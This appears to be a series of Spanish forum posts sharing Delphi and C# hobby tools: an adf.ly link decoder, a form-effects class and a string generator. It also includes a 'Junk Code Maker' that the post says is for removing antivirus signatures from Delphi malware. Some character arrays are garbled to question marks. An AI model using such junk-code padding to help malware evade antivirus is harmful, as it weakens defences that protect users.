                   lvLinks.Items.Add(item);
                   status.Text = "[+] Link Added";
                   this.Refresh();
               }
               else
               {
                   status.Text = "[-] Link Invalid";
                   this.Refresh();
               }
           }
           else
           {
               status.Text = "[-] Enter Link";
               this.Refresh();
           }
       }

       private void miAddWordlist_Click(object sender, EventArgs e)
       {
           odOpenFile.InitialDirectory = System.IO.Path.GetDirectoryName(Application.ExecutablePath); ;
           DialogResult resultado = odOpenFile.ShowDialog();
           if (resultado == DialogResult.OK)
           {
               string filename = odOpenFile.FileName;
               int counter = 0;
               if (File.Exists(filename))
               {
                   var lines = File.ReadAllLines(filename);
                   foreach (var line in lines)
                   {
                       if (check_link(line))
                       {
                           ListViewItem item = new ListViewItem();
                           item.Text = line;
                           item.SubItems.Add("...");
                           lvLinks.Items.Add(item);
                           counter = counter + 1;
                       }
                   }
                   if (counter > 0)
                   {
                       status.Text = "[+] Links Added : " + counter.ToString();
                       this.Refresh();
                   }
                   else
                   {
                       status.Text = "[-] Links not found";
                       this.Refresh();
                   }
               }
               else
               {
                   status.Text = "[-] Enter Valid Filename";
                   this.Refresh();
               }
           }
       }

       private void miClearList_Click(object sender, EventArgs e)
       {
           lvLinks.Items.Clear();
       }

       private void miKill_Click(object sender, EventArgs e)
       {
           if (lvLinks.Items.Count > 0)
           {
               for (int i = 0; i < lvLinks.Items.Count; i++)
               {
                   ListViewItem item = lvLinks.Items[i];
                   string link_to_decode = item.Text;
                   status.Text = "[+] Checking : " + link_to_decode + " ...";
                   this.Refresh();
                   string result = adfly_decode(link_to_decode);
                   if (result != "???")
                   {
                       lvLinks.Items[i].SubItems[1].Text = result;
                       status.Text = "[+] " + link_to_decode+" : "+result;
                       this.Refresh();
                   }
                   else
                   {
                       lvLinks.Items[i].SubItems[1].Text = "Not Found";
                       status.Text = "[-] " + link_to_decode + " : " + "Not Found";
                       this.Refresh();
                   }
               }
               status.Text = "[+] Finished";
               this.Refresh();
           }
           else
           {
               status.Text = "[-] Links not found";
               this.Refresh();
           }
       }

       private void miCopy_Click(object sender, EventArgs e)
       {

           if (lvLinks.SelectedIndices.Count > 0 && lvLinks.SelectedIndices[0] != -1)
           {
               string link = lvLinks.SelectedItems[0].SubItems[1].Text;
               if (link != "..." || link!="Not Found")
               {
                   try
                   {
                       Clipboard.Clear();
                       Clipboard.SetText(link);
                       status.Text = "[+] Link copied to clipboard";
                       this.Refresh();
                   }
                   catch
                   {
                       //
                   }
               }
           }
       }

   }
}

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
#22
Un programa en Delphi para generar codigo basura y lograr quitar algunas firmas de AV en un malware hecho en Delphi.

Tiene las siguientes opciones :

  • Generar constantes
  • Generar variables
  • Generar varios for
  • Generar funciones con variables
  • Generar funciones con for
  • Generar codigo con todas las funciones anteriores juntas
  • Se puede establecer una lontigud para cada opcion

    Una imagen :



    El codigo :

    Código (delphi) [Seleccionar]

    // DH Junk Code Maker 0.4
    // (C) Doddy Hackman 2016

    unit junk;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
      Vcl.ComCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Math, Vcl.Menus, Vcl.Imaging.pngimage,
      Vcl.ImgList;

    type
      TFormHome = class(TForm)
        imgLogo: TImage;
        gbOutput: TGroupBox;
        mmOutput: TMemo;
        gbEnterLength: TGroupBox;
        txtLength: TEdit;
        udLength: TUpDown;
        gbType: TGroupBox;
        cmbOptions: TComboBox;
        gbOptions: TGroupBox;
        btnGenerate: TButton;
        ppOptions: TPopupMenu;
        copy: TMenuItem;
        clear: TMenuItem;
        ilIconos: TImageList;
        procedure btnGenerateClick(Sender: TObject);
        procedure clearClick(Sender: TObject);
        procedure copyClick(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}
    // Functions

    function dh_generate_string(option: string; length_string: integer): string;
    const
      letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
        'x', 'y', 'z');
    const
      letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
        'X', 'Y', 'Z');
    const
      numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
        '8', '9');

    const
      cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?');

    const
      no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?');

    const
      no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '??');

    const
      no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
        '_', '?', '`', '?', '_', '?');

    const
      no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
        'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
        '˜', '?', '=');

    const
      no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
        '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');

    const
      no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
        '?', '?', '?', '?', '?', '?', '?', '?', '?');
    var
      code: string;
      gen_now: string;
      i: integer;
      index: integer;
    begin

      gen_now := '';

      for i := 1 to length_string do
      begin
        if (option = '1') then
        begin
          gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
        end
        else if (option = '2') then
        begin
          gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
        end
        else if (option = '3') then
        begin
          gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
        end
        else if (option = '4') then
        begin
          gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
        end
        else if (option = '5') then
        begin
          gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
        end
        else if (option = '6') then
        begin
          gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
        end
        else if (option = '7') then
        begin
          gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
        end
        else if (option = '8') then
        begin
          gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
        end
        else if (option = '9') then
        begin
          gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
        end
        else if (option = '10') then
        begin
          gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
        end
        else
        begin
          gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
        end;
      end;
      code := gen_now;

      Result := code;
    end;

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    //

    procedure TFormHome.btnGenerateClick(Sender: TObject);
    var
      id: string;
      i, y: integer;
      vars, vars2, name, name2, value, value2: string;
      strings, strings2: string;
      functions, code: string;
      limit_random: integer;
    begin

      if (StrToInt(txtLength.Text) > 0) then
      begin

        if (cmbOptions.ItemIndex = 0) then
        begin
          for i := 1 to StrToInt(txtLength.Text) do
          begin
            name := dh_generate_string('1', 5);
            value := dh_generate_string('1', 20);
            mmOutput.Lines.Add('const ' + name + '=' + '''' + value + '''' + ';');
          end;
          mmOutput.Lines.Add('');
        end
        else if (cmbOptions.ItemIndex = 1) then
        begin

          vars := 'var ';
          strings := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin
            name := dh_generate_string('1', 5);
            value := dh_generate_string('1', 20);
            if (i = StrToInt(txtLength.Text)) then
            begin
              vars := vars + name + ':string;';
            end
            else
            begin
              vars := vars + name + ',';
            end;
            if (i = StrToInt(txtLength.Text)) then
            begin
              strings := strings + name + ':=' + '''' + value + '''' + ';';
            end
            else
            begin
              strings := strings + name + ':=' + '''' + value + '''' + ';' +
                sLineBreak;
            end;
          end;

          id := dh_generate_string('1', 5);

          code := 'procedure gen_vars_' + id + ';' + sLineBreak + vars + sLineBreak
            + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

          mmOutput.Lines.Add(code);
          mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 2) then
        begin
          vars := 'var i,y:integer;';
          strings := '';
          for i := 1 to StrToInt(txtLength.Text) do
          begin
            value := dh_generate_string('3', 2);

            if (i = StrToInt(txtLength.Text)) then
            begin
              strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
                sLineBreak;
              strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;';
            end
            else
            begin
              strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
                sLineBreak;
              strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' + sLineBreak
                + sLineBreak;
            end;
          end;

          id := dh_generate_string('1', 5);

          code := 'procedure gen_fors_' + id + ';' + sLineBreak + vars + sLineBreak
            + 'begin' + sLineBreak + strings + sLineBreak + 'end;';

          mmOutput.Lines.Add(code);
          mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 3) then
        begin
          code := '';
          functions := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin
            vars := 'var ';
            strings := '';
            limit_random := StrToInt(dh_generate_string('3', 1));
            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              name := dh_generate_string('1', 5);
              value := dh_generate_string('1', 20);
              if (y = limit_random) then
              begin
                vars := vars + name + ':string;';
              end
              else
              begin
                vars := vars + name + ',';
              end;
              if (y = limit_random) then
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';';
              end
              else
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';' +
                  sLineBreak;
              end;
            end;

            id := dh_generate_string('1', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
                vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
                'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
                sLineBreak;
            end
            else
            begin
              functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
                vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
                'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
                sLineBreak + sLineBreak;
            end;

            code := code + functions;

          end;

          mmOutput.Lines.Add(code);
          // mmOutput.Lines.Add('');
        end
        else if (cmbOptions.ItemIndex = 4) then
        begin

          code := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin

            vars := 'var i,y:integer;';
            strings := '';
            limit_random := StrToInt(dh_generate_string('3', 1));

            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              value := dh_generate_string('3', 2);

              if (i = limit_random) then
              begin
                strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                  'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
                  sLineBreak;
              end
              else
              begin
                strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
                  'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
                  sLineBreak;
              end;
            end;

            id := dh_generate_string('3', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
                + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
                id + ';' + sLineBreak + 'end;' + sLineBreak;
            end
            else
            begin
              functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
                + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
                id + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
            end;

            code := code + functions;

          end;

          mmOutput.Lines.Add(code);
          // mmOutput.Lines.Add('');

        end
        else if (cmbOptions.ItemIndex = 5) then
        begin

          code := '';
          functions := '';

          for i := 1 to StrToInt(txtLength.Text) do
          begin

            vars := 'var ';
            strings := '';
            vars2 := 'var ';
            strings2 := '';

            limit_random := StrToInt(dh_generate_string('3', 1));

            if (limit_random = 0) then
            begin
              limit_random := 5;
            end;
            for y := 1 to limit_random do
            begin
              name := dh_generate_string('1', 20);
              name2 := dh_generate_string('1', 20);
              value := dh_generate_string('1', 20);
              value2 := dh_generate_string('3', 2);

              if (y = limit_random) then
              begin
                vars := vars + name + ':string;';
              end
              else
              begin
                vars := vars + name + ',';
              end;

              if (y = limit_random) then
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';';
              end
              else
              begin
                strings := strings + name + ':=' + '''' + value + '''' + ';' +
                  sLineBreak;
              end;

              vars2 := 'var i,y:integer;';

              if (y = limit_random) then
              begin
                strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
                  sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
                  'end;' + sLineBreak;
              end
              else
              begin
                strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
                  sLineBreak;
                strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
                  sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
                  'end;' + sLineBreak;
              end;
            end;

            id := dh_generate_string('1', 5);

            if (i = StrToInt(txtLength.Text)) then
            begin
              functions := 'function gen_functions_' + id + '():string;' +
                sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
                sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
                id + '''' + ';' + sLineBreak + 'end;' + sLineBreak;
            end
            else
            begin
              functions := 'function gen_functions_' + id + '():string;' +
                sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
                sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
                id + '''' + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
            end;

            code := code + functions;
          end;

          mmOutput.Lines.Add(code);

        end;

        message_box('DH Junk Code Maker 0.4', 'Enjoy the junk source',
          'Information');
      end
      else
      begin
        message_box('DH Junk Code Maker 0.4',
          'The length should be greater than zero', 'Warning');
      end;
    end;

    procedure TFormHome.clearClick(Sender: TObject);
    begin
      mmOutput.clear;
      message_box('DH Junk Code Maker 0.4', 'Output cleaned', 'Information');
    end;

    procedure TFormHome.copyClick(Sender: TObject);
    begin
      mmOutput.SelectAll;
      mmOutput.CopyToClipboard;
      message_box('DH Junk Code Maker 0.4', 'Output copied to the clipboard',
        'Information');
    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#23
Una clase en Delphi para darle efectos a los formularios.

Tiene las siguientes opciones :

  • Animacion marquesina en los labels de izquierda a derecha y viceversa
  • Animacion marquesina en los labels de arriba hacia abajo y viceversa
  • Volver transparentes los formularios
  • Volver transparente la consola del programa
  • Varios efectos en la ventana de los formularios

    El codigo :

    Código (delphi) [Seleccionar]

    // Unit : DH Form Effects
    // Version : 0.3
    // (C) Doddy Hackman 2016

    unit DH_Form_Effects;

    interface

    uses Windows, SysUtils, Vcl.Forms, Vcl.StdCtrls, Vcl.ExtCtrls, Registry;

    type
      T_DH_Form_Effects = class
      private

      public
        constructor Create;
        destructor Destroy; override;
        procedure Effect_Marquee_Label_DownUp(Panel1: TPanel; Label1: TLabel;
          segundos: integer);
        procedure Effect_Marquee_Label_LeftRight(Label2: TLabel; opcion: string;
          segundos: integer);
        procedure Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
          opcion: string; segundos: integer);
        function Window_Effect(Form: HWND; opcion: string;
          velocidad: integer): bool;
        function Window_Transparent(Form: TForm; level: integer): bool;
        procedure Effect_Load_Another_Form(Form1_Load: TForm; Form2_Load: TForm;
          option: string; autosize: integer; space: integer; seconds: integer);
        function desktop_composition_control(option: string): bool;
        function Effect_Glass_in_Console(): bool;
      end;

    type
      TTimerEffect_Marquee_Label_DownUp = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

      TTimerEffect_Marquee_Label_LeftRight = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

      TTimerEffect_Marquee_Form_Caption_LeftRight = Class(TTimer)
      public
        procedure OnWork(Sender: TObject);
      end;

    var
      Timer_Effect_Marquee_Label_DownUp: TTimerEffect_Marquee_Label_DownUp;
      PanelToMove1: TPanel;
      LabelToMove1: TLabel;

    var
      TimerEffect_Marquee_Label_LeftRight: TTimerEffect_Marquee_Label_LeftRight;
      LabelToMove2: TLabel;
      Option_Marquee_Label_LeftRight: string;

    var
      TimerEffect_Marquee_Form_Caption_LeftRight
        : TTimerEffect_Marquee_Form_Caption_LeftRight;
      FormCaptionToMove: TForm;
      Option_Marquee_Form_Caption_LeftRight: string;

    implementation

    constructor T_DH_Form_Effects.Create;
    begin
      inherited Create;
      //
    end;

    destructor T_DH_Form_Effects.Destroy;
    begin
      inherited Destroy;
    end;

    // Timers

    procedure TTimerEffect_Marquee_Label_DownUp.OnWork(Sender: TObject);
    begin
      LabelToMove1.Top := LabelToMove1.Top - 10;
      if LabelToMove1.Top + LabelToMove1.Height < 0 then
      begin
        LabelToMove1.Top := PanelToMove1.Height;
      end;
    end;

    procedure TTimerEffect_Marquee_Form_Caption_LeftRight.OnWork(Sender: TObject);
    var
      code: string;
      opcion: string;
    begin
      code := FormCaptionToMove.Caption;
      opcion := Option_Marquee_Form_Caption_LeftRight;
      if opcion = 'left' then
      begin
        FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
          Copy(code, 1, 1);
      end
      else if (opcion = 'right') then
      begin
        FormCaptionToMove.Caption := Copy(code, Length(code) - 1, 1) +
          Copy(code, 1, Length(code) - 1);
      end
      else
      begin
        FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
          Copy(code, 1, 1);
      end;
    end;

    procedure TTimerEffect_Marquee_Label_LeftRight.OnWork(Sender: TObject);
    // Based on : http://delphi.about.com/od/vclusing/a/marquee.htm
    // Thanks to Zarko Gajic
    var
      code: string;
      opcion: string;
    begin
      code := LabelToMove2.Caption;
      opcion := Option_Marquee_Label_LeftRight;
      if opcion = 'left' then
      begin
        LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
      end
      else if (opcion = 'right') then
      begin
        LabelToMove2.Caption := Copy(code, Length(code) - 1, 1) +
          Copy(code, 1, Length(code) - 1);
      end
      else
      begin
        LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
      end;
    end;

    //

    // Functions

    procedure T_DH_Form_Effects.Effect_Load_Another_Form(Form1_Load: TForm;
      Form2_Load: TForm; option: string; autosize: integer; space: integer;
      seconds: integer);
    var
      width: integer;
      Height: integer;
      i: integer;
    begin

      if (autosize = 1) then
      begin
        width := Form2_Load.width;
        Height := Form1_Load.Height;
      end
      else
      begin
        width := Form2_Load.width;
        Height := Form2_Load.Height;
      end;

      if (option = 'effect1') then
      begin
        Form2_Load.width := 1;
        Form2_Load.Height := Form1_Load.Height;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Show;
        for i := 1 to width do
        begin
          if (Form2_Load.width = width) then
          begin
            break;
          end
          else
          begin
            Form2_Load.width := i + seconds;
            Form2_Load.Update;
          end;
        end;
      end
      else if (option = 'effect2') then
      begin
        Form2_Load.Hide;
        Form2_Load.Height := Height;
        Form2_Load.Left := Form1_Load.Left + width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Window_Effect(Form2_Load.Handle, 'effect1', seconds);
        Form2_Load.Show;
      end
      else
      begin
        Form2_Load.width := 1;
        Form2_Load.Height := Form1_Load.Height;
        Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
        Form2_Load.Top := Form1_Load.Top;
        Form2_Load.Show;
        for i := 1 to width do
        begin
          if (Form2_Load.width = width) then
          begin
            break;
          end
          else
          begin
            Form2_Load.width := i + seconds;
            Form2_Load.Update;
          end;
        end;
      end;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Label_DownUp(Panel1: TPanel;
      Label1: TLabel; segundos: integer);
    begin

      // To hide panel : BevelOuter = bvNone

      PanelToMove1 := Panel1;
      LabelToMove1 := Label1;
      Timer_Effect_Marquee_Label_DownUp :=
        TTimerEffect_Marquee_Label_DownUp.Create(nil);
      Timer_Effect_Marquee_Label_DownUp.Interval := segundos * 1000;
      Timer_Effect_Marquee_Label_DownUp.OnTimer :=
        Timer_Effect_Marquee_Label_DownUp.OnWork;
      Timer_Effect_Marquee_Label_DownUp.Enabled := True;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
      opcion: string; segundos: integer);
    begin
      if (opcion = 'left') then
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
      end
      else if (opcion = 'right') then
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + '  ';
      end
      else
      begin
        FormCaptionToMove := Form1;
        FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
      end;

      Option_Marquee_Form_Caption_LeftRight := opcion;
      TimerEffect_Marquee_Form_Caption_LeftRight :=
        TTimerEffect_Marquee_Form_Caption_LeftRight.Create(nil);
      TimerEffect_Marquee_Form_Caption_LeftRight.Interval := segundos * 1000;
      TimerEffect_Marquee_Form_Caption_LeftRight.OnTimer :=
        TimerEffect_Marquee_Form_Caption_LeftRight.OnWork;
      TimerEffect_Marquee_Form_Caption_LeftRight.Enabled := True;
    end;

    procedure T_DH_Form_Effects.Effect_Marquee_Label_LeftRight(Label2: TLabel;
      opcion: string; segundos: integer);
    begin
      if (opcion = 'left') then
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + ' ';
      end
      else if (opcion = 'right') then
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + '  ';
      end
      else
      begin
        LabelToMove2 := Label2;
        LabelToMove2.Caption := LabelToMove2.Caption + ' ';
      end;
      Option_Marquee_Label_LeftRight := opcion;
      TimerEffect_Marquee_Label_LeftRight :=
        TTimerEffect_Marquee_Label_LeftRight.Create(nil);
      TimerEffect_Marquee_Label_LeftRight.Interval := segundos * 1000;
      TimerEffect_Marquee_Label_LeftRight.OnTimer :=
        TimerEffect_Marquee_Label_LeftRight.OnWork;
      TimerEffect_Marquee_Label_LeftRight.Enabled := True;
    end;

    function T_DH_Form_Effects.Window_Effect(Form: HWND; opcion: string;
      velocidad: integer): bool;
    begin
      try
        begin
          if (opcion = 'slide') then
          begin
            AnimateWindow(Form, velocidad, AW_SLIDE);
          end
          else if (opcion = 'blend') then
          begin
            AnimateWindow(Form, velocidad, AW_BLEND);
          end
          else if (opcion = 'hide') then
          begin
            AnimateWindow(Form, velocidad, AW_HIDE);
          end
          else if (opcion = 'center') then
          begin
            AnimateWindow(Form, velocidad, AW_CENTER);
          end
          else if (opcion = 'effect1') then
          begin
            AnimateWindow(Form, velocidad, AW_HOR_POSITIVE);
          end
          else if (opcion = 'effect2') then
          begin
            AnimateWindow(Form, velocidad, AW_HOR_NEGATIVE);
          end
          else if (opcion = 'effect3') then
          begin
            AnimateWindow(Form, velocidad, AW_VER_POSITIVE);
          end
          else if (opcion = 'effect4') then
          begin
            AnimateWindow(Form, velocidad, AW_VER_NEGATIVE);
          end
          else
          begin
            Result := False;
          end;
          Result := True;
        end;
      except
        begin
          Result := False;
        end;
      end;
    end;

    function T_DH_Form_Effects.Window_Transparent(Form: TForm;
      level: integer): bool;
    begin

      // Effect in Desktop Dark
      // Level : 240
      // Level : 235
      // Level : 230

      // Effect in Desktop White
      // Level : 220

      try
        begin
          Form.AlphaBlend := True;
          Form.AlphaBlendValue := level;
          Form.Visible := True;
          Result := True;
        end;
      except
        begin
          Result := False;
        end;
      end;
    end;

    function T_DH_Form_Effects.desktop_composition_control(option: string): bool;
    var
      Registry: TRegistry;
    begin
      if not(option = '') then
      begin
        try
          begin
            Registry := TRegistry.Create;
            Registry.RootKey := HKEY_CURRENT_USER;
            Registry.OpenKey('Software\Microsoft\Windows\DWM', True);
            if (option = 'on') then
            begin
              Registry.WriteString('CompositionPolicy', '0');
            end;
            if (option = 'off') then
            begin
              Registry.WriteString('CompositionPolicy', '1');
            end;
            Registry.Free;
            Result := True;
          end;
        except
          begin
            Result := False;
          end;
        end;
      end
      else
      begin
        Result := False;
      end;
    end;

    // Function for Effect Glass in Console
    // Credits : Based on http://www.delphibasics.info/home/delphibasicssnippets/glasseffectinadelphiconsoleapplication
    // Thanks to Rodrigo Ruz
    // Note : You need enable desktop composition to use this function , else use the function
    // desktop_composition_control() to enable

    type
      DWM_BLURBEHIND = record
        controls: DWORD;
        check: bool;
        color_now: HRGN;
        max_now: bool;
      end;

    procedure DwmEnableBlurBehindWindow(HWND: HWND;
      const pBlurBehind: DWM_BLURBEHIND); safecall;
      external 'dwmapi.dll' name 'DwmEnableBlurBehindWindow';
    function GetConsoleWindow: HWND; stdcall;
      external kernel32 name 'GetConsoleWindow';

    function check_console: Boolean;
    var
      Handle: THandle;
    begin
      Handle := GetStdHandle(Std_Output_Handle);
      Win32Check(Handle <> Invalid_Handle_Value);
      if (Handle <> 0) then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
    end;

    procedure Effect_Glass(Handle: HWND; active: Boolean; rgn: HRGN = 0;
      max: Boolean = False; control: Cardinal = 1);
    var
      effect: DWM_BLURBEHIND;
    begin
      effect.controls := control;
      effect.check := active;
      effect.color_now := rgn;
      effect.max_now := max;

      DwmEnableBlurBehindWindow(Handle, effect);
    end;

    function T_DH_Form_Effects.Effect_Glass_in_Console(): bool;
    begin
      if (check_console) then
      begin
        try
          begin
            Effect_Glass(GetConsoleWindow(), True);
            Result := True;
          end;
        except
          begin
            //
          end;
        end;
      end
      else
      begin
        Result := False;
      end;
    end;

    //

    end.

    // The End ?


    Ejemplos de uso :

    Código (delphi) [Seleccionar]

    procedure TForm1.Form_EffectsClick(Sender: TObject);

    var
      effects_manager: T_DH_Form_Effects;

    begin

      effects_manager := T_DH_Form_Effects.Create();

      effects_manager.window_transparent(Form1, 240);
      effects_manager.window_effect(Form1.Handle,'center',100);
      effects_manager.Effect_Marquee_Label_DownUp(Panel1, Label1, 1);
      effects_manager.Effect_Marquee_Label_LeftRight(Label2, 'left', 1);
      Effect_Marquee_Form_Caption_LeftRight(Form1, 'right', 1);
      Effect_Load_Another_Form(Form1, About, 'effect2', 1, 5, 300);
      Effect_Load_Another_Form(Form1, About, 'effect1', 1,10,200);

      effects_manager.Free;

    end;


    Si quieren bajar el codigo lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#24
Un programa en Delphi para generar strings de 10 tipos diferentes y longitudes especificas.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH String Generator 0.3
// (C) Doddy Hackman 2016

unit generator;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Math, Vcl.ExtCtrls,
  Vcl.ComCtrls, Vcl.Imaging.pngimage, Vcl.ImgList, FormAbout;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbStrings: TGroupBox;
    txtString1: TEdit;
    btnGen1: TButton;
    btnCopy1: TButton;
    txtString2: TEdit;
    txtString3: TEdit;
    btnGen2: TButton;
    btnCopy2: TButton;
    btnGen3: TButton;
